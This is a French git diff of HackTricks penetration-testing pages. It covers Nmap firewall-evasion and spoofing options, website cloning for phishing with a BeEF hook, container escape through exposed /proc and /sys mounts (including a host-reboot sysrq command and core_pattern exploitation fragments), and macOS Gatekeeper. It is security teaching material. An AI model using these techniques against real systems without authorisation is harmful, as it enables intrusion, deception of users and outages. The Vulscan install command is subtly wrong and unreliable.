De nombreux administrateurs laissent des ports d'entrée ouverts pour que tout fonctionne correctement et trouvent plus facile de chercher une autre solution. Ceux-ci peuvent être les ports DNS ou FTP... pour rechercher cette vulnérabilité, Nmap inclut : **--source-port** _**\<portnumber>**_**;-g** _**\<portnumber>**_ _Sont équivalents_
|
||||
|
||||
**--data** _**\<hex string>**_ Pour envoyer du texte hexadécimal : --data 0xdeadbeef et --data \xCA\xFE\x09
|
||||
|
||||
**--data-string** _**\<string>**_ Pour envoyer un texte normal : --data-string "Scan réalisé par Security Ops, extension 7192"
|
||||
|
||||
**--data-length** _**\<number>**_ Nmap envoie uniquement des en-têtes, avec cela, il ajoute un certain nombre d'octets en plus (générés de manière aléatoire)
|
||||
|
||||
Pour configurer complètement le paquet IP, utilisez **--ip-options**
|
||||
|
||||
Si vous souhaitez voir les options dans les paquets envoyés et reçus, spécifiez --packet-trace. Pour plus d'informations et d'exemples sur l'utilisation des options IP avec Nmap, consultez [http://seclists.org/nmap-dev/2006/q3/52](http://seclists.org/nmap-dev/2006/q3/52).
|
||||
|
||||
**--ttl** _**\<value>**_
|
||||
|
||||
**--randomize-hosts** Pour rendre l'attaque moins évidente
|
||||
|
||||
**--spoof-mac** _**\<adresse MAC, préfixe ou nom du fournisseur>**_ Pour changer l'adresse MAC exemples : Apple, 0, 01:02:03:04:05:06, deadbeefcafe, 0020F2, et Cisco
|
||||
**--proxies** _**\<Liste de URL de proxy séparées par des virgules>**_ Pour utiliser des proxies, parfois un proxy ne maintient pas autant de connexions ouvertes que nmap le souhaite, donc il faudrait ajuster la parallélisme : --max-parallelism
|
||||
|
||||
**-sP** Pour découvrir les hôtes sur le réseau où nous sommes via ARP
|
||||
|
||||
De nombreux administrateurs créent une règle dans le pare-feu qui permet de laisser passer tous les paquets provenant d'un port particulier (comme le 20, 53 et 67), nous pouvons dire à nmap d'envoyer nos paquets depuis ces ports : **nmap --source-port 53 Ip**
|
||||
|
||||
**Sorties**
|
||||
|
||||
**-oN fichier** Sortie normale
|
||||
|
||||
**-oX fichier** Sortie XML
|
||||
|
||||
**-oS fichier** Sortie de script kidies
|
||||
|
||||
**-oG fichier** Sortie grepable
|
||||
|
||||
**-oA fichier** Tout sauf -oS
|
||||
|
||||
**-v niveau** verbosité
|
||||
|
||||
**-d niveau** débogage
|
||||
|
||||
**--reason** Raison de l'hôte et de l'état
|
||||
|
||||
**--stats-every temps** Toutes les fois, nous indique l'avancement
|
||||
|
||||
**--packet-trace** Pour voir quels paquets sont envoyés, des filtres peuvent être spécifiés comme : --version-trace ou --script-trace
|
||||
|
||||
**--open** affiche les ports ouverts, ouverts|filtrés et non filtrés
|
||||
|
||||
**--resume fichier** Fait un résumé
|
||||
|
||||
**Divers**
|
||||
|
||||
**-6** Autorise ipv6
|
||||
|
||||
**-A** équivaut à -O -sV -sC --traceroute
|
||||
|
||||
**Temps d'exécution**
|
||||
|
||||
Pendant l'exécution de nmap, nous pouvons modifier les options :
|
||||
|
||||
v / V Augmenter / diminuer le niveau de verbosité
|
||||
|
||||
d / D Augmenter / diminuer le niveau de débogage
|
||||
|
||||
p / P Activer / désactiver la trace des paquets
|
||||
|
||||
? Afficher une aide à l'interaction en cours d'exécution
|
||||
|
||||
**Vulscan**
|
||||
|
||||
Script de nmap qui vérifie les versions des services obtenues dans une base de données hors ligne (téléchargée à partir d'autres bases de données très importantes) et renvoie les vulnérabilités possibles
|
||||
|
||||
Les bases de données utilisées sont :
|
||||
|
||||
1. Scipvuldb.csv | [http://www.scip.ch/en/?vuldb](http://www.scip.ch/en/?vuldb)
|
||||
2. Cve.csv | [http://cve.mitre.org](http://cve.mitre.org/)
|
||||
3. Osvdb.csv | [http://www.osvdb.org](http://www.osvdb.org/)
|
||||
4. Securityfocus.csv | [http://www.securityfocus.com/bid/](http://www.securityfocus.com/bid/)
|
||||
5. Securitytracker.csv | [http://www.securitytracker.com](http://www.securitytracker.com/)
|
||||
6. Xforce.csv | [http://xforce.iss.net](http://xforce.iss.net/)
|
||||
7. Exploitdb.csv | [http://www.exploit-db.com](http://www.exploit-db.com/)
|
||||
8. Openvas.csv | [http://www.openvas.org](http://www.openvas.org/)
|
||||
|
||||
Pour le télécharger et l'installer dans le dossier de Nmap :
|
||||
|
||||
wget http://www.computec.ch/projekte/vulscan/download/nmap\_nse\_vulscan-2.0.tar.gz && tar -czvf nmap\_nse\_vulscan-2.0.tar.gz vulscan/ && sudo cp -r vulscan/ /usr/share/nmap/scripts/
|
||||
|
||||
Il faudrait également télécharger les fichiers des bases de données et les ajouter à /usr/share/nmap/scripts/vulscan/
|
||||
|
||||
Utilisation :
|
||||
|
||||
Pour tout utiliser : sudo nmap -sV --script=vulscan HOST\_A\_ESCANEAR
|
||||
|
||||
Pour utiliser une base de données spécifique : sudo nmap -sV --script=vulscan --script-args vulscandb=cve.csv HOST\_A\_ESCANEAR
|
||||
|
||||
## Accélérer l'analyse des services Nmap x16
|
||||
|
||||
Selon [**cet article**](https://joshua.hu/nmap-speedup-service-scanning-16x), vous pouvez accélérer l'analyse des services nmap en modifiant toutes les valeurs de **`totalwaitms`** dans **`/usr/share/nmap/nmap-service-probes`** à **300** et **`tcpwrappedms`** à **200**.
|
||||
|
||||
De plus, les sondes qui n'ont pas de **`servicewaitms`** spécifiquement défini utilisent une valeur par défaut de **`5000`**. Par conséquent, nous pouvons soit ajouter des valeurs à chacune des sondes, soit **compiler nmap** nous-mêmes et changer la valeur par défaut dans [**service\_scan.h**](https://github.com/nmap/nmap/blob/master/service\_scan.h#L79).
|
||||
|
||||
Si vous ne souhaitez pas du tout modifier les valeurs de **`totalwaitms`** et **`tcpwrappedms`** dans le fichier `/usr/share/nmap/nmap-service-probes`, vous pouvez modifier le [code d'analyse](https://github.com/nmap/nmap/blob/master/service\_scan.cc#L1358) de sorte que ces valeurs dans le fichier `nmap-service-probes` soient complètement ignorées.
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [groupe Telegram](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,8 +12,13 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Pour une évaluation du phishing, il peut parfois être utile de **cloner complètement un site web**.
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
|
||||
Pour une évaluation de phishing, il peut parfois être utile de **cloner complètement un site web**.
|
||||
|
||||
Notez que vous pouvez également ajouter des charges utiles au site cloné, comme un crochet BeEF pour "contrôler" l'onglet de l'utilisateur.
|
||||
|
||||
|
@ -32,16 +37,21 @@ goclone <url>
|
|||
```bash
|
||||
#https://github.com/trustedsec/social-engineer-toolkit
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
D'autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,19 +2,23 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) **et** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **dépôts GitHub.**
|
||||
|
||||
</details>
|
||||
|
||||
L'exposition de `/proc` et `/sys` sans une isolation de l'espace de noms appropriée présente des risques de sécurité importants, notamment l'agrandissement de la surface d'attaque et la divulgation d'informations. Ces répertoires contiennent des fichiers sensibles qui, s'ils sont mal configurés ou consultés par un utilisateur non autorisé, peuvent entraîner une évasion de conteneur, une modification de l'hôte ou fournir des informations aidant à d'autres attaques. Par exemple, monter de manière incorrecte `-v /proc:/host/proc` peut contourner la protection AppArmor en raison de sa nature basée sur le chemin, laissant `/host/proc` non protégé.
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
L'exposition de `/proc` et `/sys` sans une isolation de l'espace de noms appropriée présente des risques de sécurité importants, notamment l'agrandissement de la surface d'attaque et la divulgation d'informations. Ces répertoires contiennent des fichiers sensibles qui, s'ils sont mal configurés ou consultés par un utilisateur non autorisé, peuvent entraîner une évasion de conteneur, une modification de l'hôte ou fournir des informations aidant à d'autres attaques. Par exemple, le montage incorrect de `-v /proc:/host/proc` peut contourner la protection AppArmor en raison de sa nature basée sur le chemin, laissant `/host/proc` non protégé.
|
||||
|
||||
**Vous pouvez trouver plus de détails sur chaque vulnérabilité potentielle dans** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
|
||||
|
||||
|
@ -27,7 +31,7 @@ Ce répertoire permet d'accéder à la modification des variables du noyau, gén
|
|||
#### **`/proc/sys/kernel/core_pattern`**
|
||||
|
||||
* Décrit dans [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
|
||||
* Permet de définir un programme à exécuter lors de la génération d'un fichier core avec les 128 premiers octets comme arguments. Cela peut entraîner une exécution de code si le fichier commence par un pipe `|`.
|
||||
* Permet de définir un programme à exécuter lors de la génération d'un fichier core avec les 128 premiers octets comme arguments. Cela peut entraîner l'exécution de code si le fichier commence par un pipe `|`.
|
||||
* **Exemple de test et d'exploitation** :
|
||||
|
||||
```bash
|
||||
|
@ -59,10 +63,10 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Vérifier l'accès à modprobe
|
|||
|
||||
#### **`/proc/sys/fs/binfmt_misc`**
|
||||
|
||||
* Permet d'enregistrer des interprètes pour des formats binaires non natifs en fonction de leur numéro magique.
|
||||
* Peut entraîner une élévation de privilèges ou un accès à un shell root si `/proc/sys/fs/binfmt_misc/register` est inscriptible.
|
||||
* Permet d'enregistrer des interprètes pour les formats binaires non natifs en fonction de leur numéro magique.
|
||||
* Peut entraîner une élévation de privilèges ou un accès au shell root si `/proc/sys/fs/binfmt_misc/register` est inscriptible.
|
||||
* Exploit pertinent et explication :
|
||||
* [Rootkit de pauvre homme via binfmt\_misc](https://github.com/toffan/binfmt\_misc)
|
||||
* [Rootkit du pauvre via binfmt\_misc](https://github.com/toffan/binfmt\_misc)
|
||||
* Tutoriel approfondi : [Lien vidéo](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
|
||||
### Autres dans `/proc`
|
||||
|
@ -74,7 +78,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Vérifier l'accès à modprobe
|
|||
|
||||
#### **`/proc/sysrq-trigger`**
|
||||
|
||||
* Permet d'invoquer des commandes Sysrq, pouvant entraîner des redémarrages immédiats du système ou d'autres actions critiques.
|
||||
* Permet d'invoquer des commandes Sysrq, provoquant potentiellement des redémarrages immédiats du système ou d'autres actions critiques.
|
||||
* **Exemple de redémarrage de l'hôte** :
|
||||
|
||||
```bash
|
||||
|
@ -89,13 +93,13 @@ echo b > /proc/sysrq-trigger # Redémarre l'hôte
|
|||
#### **`/proc/kallsyms`**
|
||||
|
||||
* Liste les symboles exportés du noyau et leurs adresses.
|
||||
* Essentiel pour le développement d'exploits du noyau, en particulier pour surmonter KASLR.
|
||||
* Essentiel pour le développement d'exploits du noyau, en particulier pour contourner le KASLR.
|
||||
* Les informations d'adresse sont restreintes avec `kptr_restrict` défini sur `1` ou `2`.
|
||||
* Détails dans [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
|
||||
#### **`/proc/[pid]/mem`**
|
||||
|
||||
* Interagit avec le périphérique mémoire du noyau `/dev/mem`.
|
||||
* Interface avec le périphérique mémoire du noyau `/dev/mem`.
|
||||
* Historiquement vulnérable aux attaques d'élévation de privilèges.
|
||||
* Plus sur [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
|
||||
|
@ -155,21 +159,21 @@ echo change > /sys/class/mem/null/uevent
|
|||
cat /output %%%
|
||||
#### **`/sys/class/thermal`**
|
||||
|
||||
* Contrôle les paramètres de température, pouvant causer des attaques DoS ou des dommages physiques.
|
||||
* Contrôle les paramètres de température, pouvant causer des attaques de type DoS ou des dommages physiques.
|
||||
|
||||
#### **`/sys/kernel/vmcoreinfo`**
|
||||
|
||||
* Fuites d'adresses du noyau, compromettant potentiellement le KASLR.
|
||||
* Fuites les adresses du noyau, compromettant potentiellement le KASLR.
|
||||
|
||||
#### **`/sys/kernel/security`**
|
||||
|
||||
* Contient l'interface `securityfs`, permettant la configuration des modules de sécurité Linux comme AppArmor.
|
||||
* Contient l'interface `securityfs`, permettant la configuration des Modules de Sécurité Linux comme AppArmor.
|
||||
* L'accès pourrait permettre à un conteneur de désactiver son système MAC.
|
||||
|
||||
#### **`/sys/firmware/efi/vars` et `/sys/firmware/efi/efivars`**
|
||||
|
||||
* Expose des interfaces pour interagir avec les variables EFI dans la NVRAM.
|
||||
* Une mauvaise configuration ou exploitation peut entraîner des ordinateurs portables inutilisables ou des machines hôtes non démarrables.
|
||||
* Une mauvaise configuration ou une exploitation peut entraîner des ordinateurs portables inutilisables ou des machines hôtes non démarrables.
|
||||
|
||||
#### **`/sys/kernel/debug`**
|
||||
|
||||
|
@ -182,6 +186,10 @@ cat /output %%%
|
|||
* [Comprendre et renforcer la sécurité des conteneurs Linux](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf)
|
||||
* [Abus des conteneurs Linux privilégiés et non privilégiés](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
|
|
@ -5,15 +5,18 @@
|
|||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)
|
||||
*
|
||||
* .
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## Gatekeeper
|
||||
|
||||
**Gatekeeper** est une fonctionnalité de sécurité développée pour les systèmes d'exploitation Mac, conçue pour garantir que les utilisateurs **exécutent uniquement des logiciels de confiance** sur leurs systèmes. Il fonctionne en **validant le logiciel** qu'un utilisateur télécharge et tente d'ouvrir à partir de **sources extérieures à l'App Store**, telles qu'une application, un plug-in ou un package d'installation.
|
||||
|
@ -30,15 +33,15 @@ Voici comment cela fonctionne :
|
|||
|
||||
1. **Signature de l'application :** Lorsqu'un développeur est prêt à distribuer son application, il **signe l'application à l'aide d'une clé privée**. Cette clé privée est associée à un **certificat qu'Apple délivre au développeur** lors de son inscription au programme Apple Developer. Le processus de signature consiste à créer un hachage cryptographique de toutes les parties de l'application et à chiffrer ce hachage avec la clé privée du développeur.
|
||||
2. **Distribution de l'application :** L'application signée est ensuite distribuée aux utilisateurs avec le certificat du développeur, qui contient la clé publique correspondante.
|
||||
3. **Vérification de l'application :** Lorsqu'un utilisateur télécharge et tente d'exécuter l'application, son système d'exploitation Mac utilise la clé publique du certificat du développeur pour déchiffrer le hachage. Il recalcule ensuite le hachage en fonction de l'état actuel de l'application et le compare avec le hachage déchiffré. S'ils correspondent, cela signifie que **l'application n'a pas été modifiée** depuis que le développeur l'a signée, et le système autorise l'exécution de l'application.
|
||||
3. **Vérification de l'application :** Lorsqu'un utilisateur télécharge et tente d'exécuter l'application, son système d'exploitation Mac utilise la clé publique du certificat du développeur pour déchiffrer le hachage. Il recalcule ensuite le hachage en fonction de l'état actuel de l'application et compare celui-ci avec le hachage déchiffré. S'ils correspondent, cela signifie que **l'application n'a pas été modifiée** depuis la signature du développeur, et le système autorise l'exécution de l'application.
|
||||
|
||||
Les signatures d'application sont une partie essentielle de la technologie Gatekeeper d'Apple. Lorsqu'un utilisateur tente d'**ouvrir une application téléchargée depuis Internet**, Gatekeeper vérifie la signature de l'application. Si elle est signée avec un certificat délivré par Apple à un développeur connu et que le code n'a pas été altéré, Gatekeeper autorise l'exécution de l'application. Sinon, il bloque l'application et alerte l'utilisateur.
|
||||
|
||||
À partir de macOS Catalina, **Gatekeeper vérifie également si l'application a été notariée** par Apple, ajoutant une couche de sécurité supplémentaire. Le processus de notarisation vérifie l'application pour des problèmes de sécurité connus et du code malveillant, et si ces vérifications sont réussies, Apple ajoute un ticket à l'application que Gatekeeper peut vérifier.
|
||||
À partir de macOS Catalina, **Gatekeeper vérifie également si l'application a été notariée** par Apple, ajoutant une couche de sécurité supplémentaire. Le processus de notarisation vérifie l'application pour détecter les problèmes de sécurité connus et le code malveillant, et si ces vérifications sont réussies, Apple ajoute un ticket à l'application que Gatekeeper peut vérifier.
|
||||
|
||||
#### Vérification des signatures
|
||||
|
||||
Lors de la vérification d'un **échantillon de logiciel malveillant**, vous devriez toujours **vérifier la signature** du binaire car le **développeur** qui l'a signé pourrait déjà être **lié** à du **logiciel malveillant**.
|
||||
Lors de la vérification de certains **échantillons de logiciels malveillants**, vous devriez toujours **vérifier la signature** du binaire car le **développeur** qui l'a signé peut déjà être **lié** à un **logiciel malveillant**.
|
||||
```bash
|
||||
# Get signer
|
||||
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
|
||||
|
@ -59,7 +62,7 @@ codesign -s <cert-name-keychain> toolsdemo
|
|||
|
||||
Le processus de notarisation d'Apple sert de sauvegarde supplémentaire pour protéger les utilisateurs des logiciels potentiellement nuisibles. Il implique que le **développeur soumette son application à l'examen** du **Service de notarisation d'Apple**, qui ne doit pas être confondu avec l'App Review. Ce service est un **système automatisé** qui examine le logiciel soumis à la recherche de **contenu malveillant** et de tout problème potentiel lié à la signature de code.
|
||||
|
||||
Si le logiciel **passe** cette inspection sans soulever de préoccupations, le Service de notarisation génère un ticket de notarisation. Le développeur est alors tenu de **joindre ce ticket à son logiciel**, un processus appelé 'agrafage'. De plus, le ticket de notarisation est également publié en ligne où Gatekeeper, la technologie de sécurité d'Apple, peut y accéder.
|
||||
Si le logiciel **passe** cette inspection sans soulever de préoccupations, le Service de notarisation génère un ticket de notarisation. Le développeur est ensuite tenu de **joindre ce ticket à son logiciel**, un processus appelé 'agrafage'. De plus, le ticket de notarisation est également publié en ligne où Gatekeeper, la technologie de sécurité d'Apple, peut y accéder.
|
||||
|
||||
Lors de la première installation ou exécution du logiciel par l'utilisateur, l'existence du ticket de notarisation - qu'il soit agrafé à l'exécutable ou trouvé en ligne - **informe Gatekeeper que le logiciel a été notarisé par Apple**. En conséquence, Gatekeeper affiche un message descriptif dans la boîte de dialogue de lancement initial, indiquant que le logiciel a été vérifié pour son contenu malveillant par Apple. Ce processus renforce ainsi la confiance des utilisateurs dans la sécurité des logiciels qu'ils installent ou exécutent sur leurs systèmes.
|
||||
|
||||
|
@ -73,7 +76,7 @@ Il est possible de voir le **statut** de GateKeeper avec :
|
|||
spctl --status
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Notez que les vérifications de signature de GateKeeper ne sont effectuées que sur les **fichiers avec l'attribut Quarantaine**, pas sur chaque fichier.
|
||||
Notez que les vérifications de signature de GateKeeper ne sont effectuées que sur les **fichiers avec l'attribut Quarantaine**, et non sur chaque fichier.
|
||||
{% endhint %}
|
||||
|
||||
GateKeeper vérifiera si, selon les **préférences et la signature**, un binaire peut être exécuté :
|
||||
|
@ -95,7 +98,7 @@ anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists an
|
|||
[...]
|
||||
```
|
||||
Notez comment la première règle s'est terminée par "**App Store**" et la deuxième par "**Developer ID**" et que dans l'image précédente, il était **activé pour exécuter des applications de l'App Store et des développeurs identifiés**.\
|
||||
Si vous **modifiez** ce paramètre pour l'App Store, les règles "**Notarized Developer ID**" disparaîtront.
|
||||
Si vous **modifiez** ce paramètre en App Store, les règles "**Notarized Developer ID**" disparaîtront.
|
||||
|
||||
Il y a aussi des milliers de règles de **type GKE**:
|
||||
```bash
|
||||
|
@ -147,14 +150,14 @@ spctl --assess -v /Applications/App.app
|
|||
```
|
||||
### Fichiers en quarantaine
|
||||
|
||||
Lors du **téléchargement** d'une application ou d'un fichier, des **applications macOS** spécifiques telles que les navigateurs web ou les clients de messagerie **attachent un attribut de fichier étendu**, communément appelé le "**drapeau de quarantaine**", au fichier téléchargé. Cet attribut agit comme une mesure de sécurité pour **marquer le fichier** comme provenant d'une source non fiable (Internet) et potentiellement porteur de risques. Cependant, toutes les applications n'attachent pas cet attribut, par exemple, les logiciels clients BitTorrent courants contournent généralement ce processus.
|
||||
Lors du **téléchargement** d'une application ou d'un fichier, des **applications macOS** spécifiques telles que les navigateurs web ou les clients de messagerie **attachent un attribut de fichier étendu**, communément appelé le "**drapeau de quarantaine**," au fichier téléchargé. Cet attribut agit comme une mesure de sécurité pour **marquer le fichier** comme provenant d'une source non fiable (Internet) et potentiellement porteur de risques. Cependant, toutes les applications n'attachent pas cet attribut, par exemple, les logiciels clients BitTorrent courants contournent généralement ce processus.
|
||||
|
||||
**La présence d'un drapeau de quarantaine signale la fonction de sécurité Gatekeeper de macOS lorsque l'utilisateur tente d'exécuter le fichier**.
|
||||
**La présence d'un drapeau de quarantaine signale la fonctionnalité de sécurité Gatekeeper de macOS lorsque l'utilisateur tente d'exécuter le fichier**.
|
||||
|
||||
Dans le cas où le **drapeau de quarantaine n'est pas présent** (comme pour les fichiers téléchargés via certains clients BitTorrent), les **vérifications de Gatekeeper peuvent ne pas être effectuées**. Ainsi, les utilisateurs doivent faire preuve de prudence lors de l'ouverture de fichiers téléchargés à partir de sources moins sécurisées ou inconnues.
|
||||
|
||||
{% hint style="info" %}
|
||||
**Vérifier** la **validité** des signatures de code est un processus **gourmand en ressources** qui inclut la génération de **hachages** cryptographiques du code et de toutes ses ressources groupées. De plus, vérifier la validité du certificat implique de faire une **vérification en ligne** auprès des serveurs d'Apple pour voir s'il a été révoqué après son émission. Pour ces raisons, une vérification complète de la signature de code et de la notarisation est **impraticable à exécuter à chaque fois qu'une application est lancée**.
|
||||
**Vérifier** la **validité** des signatures de code est un processus **gourmand en ressources** qui implique la génération de **hachages** cryptographiques du code et de toutes ses ressources groupées. De plus, vérifier la validité du certificat implique de faire une **vérification en ligne** auprès des serveurs d'Apple pour voir s'il a été révoqué après son émission. Pour ces raisons, une vérification complète de la signature de code et de la notarisation est **impraticable à exécuter à chaque fois qu'une application est lancée**.
|
||||
|
||||
Par conséquent, ces vérifications ne sont **exécutées que lors de l'exécution d'applications avec l'attribut en quarantaine**.
|
||||
{% endhint %}
|
||||
|
@ -165,7 +168,7 @@ Cet attribut doit être **défini par l'application créant/téléchargeant** le
|
|||
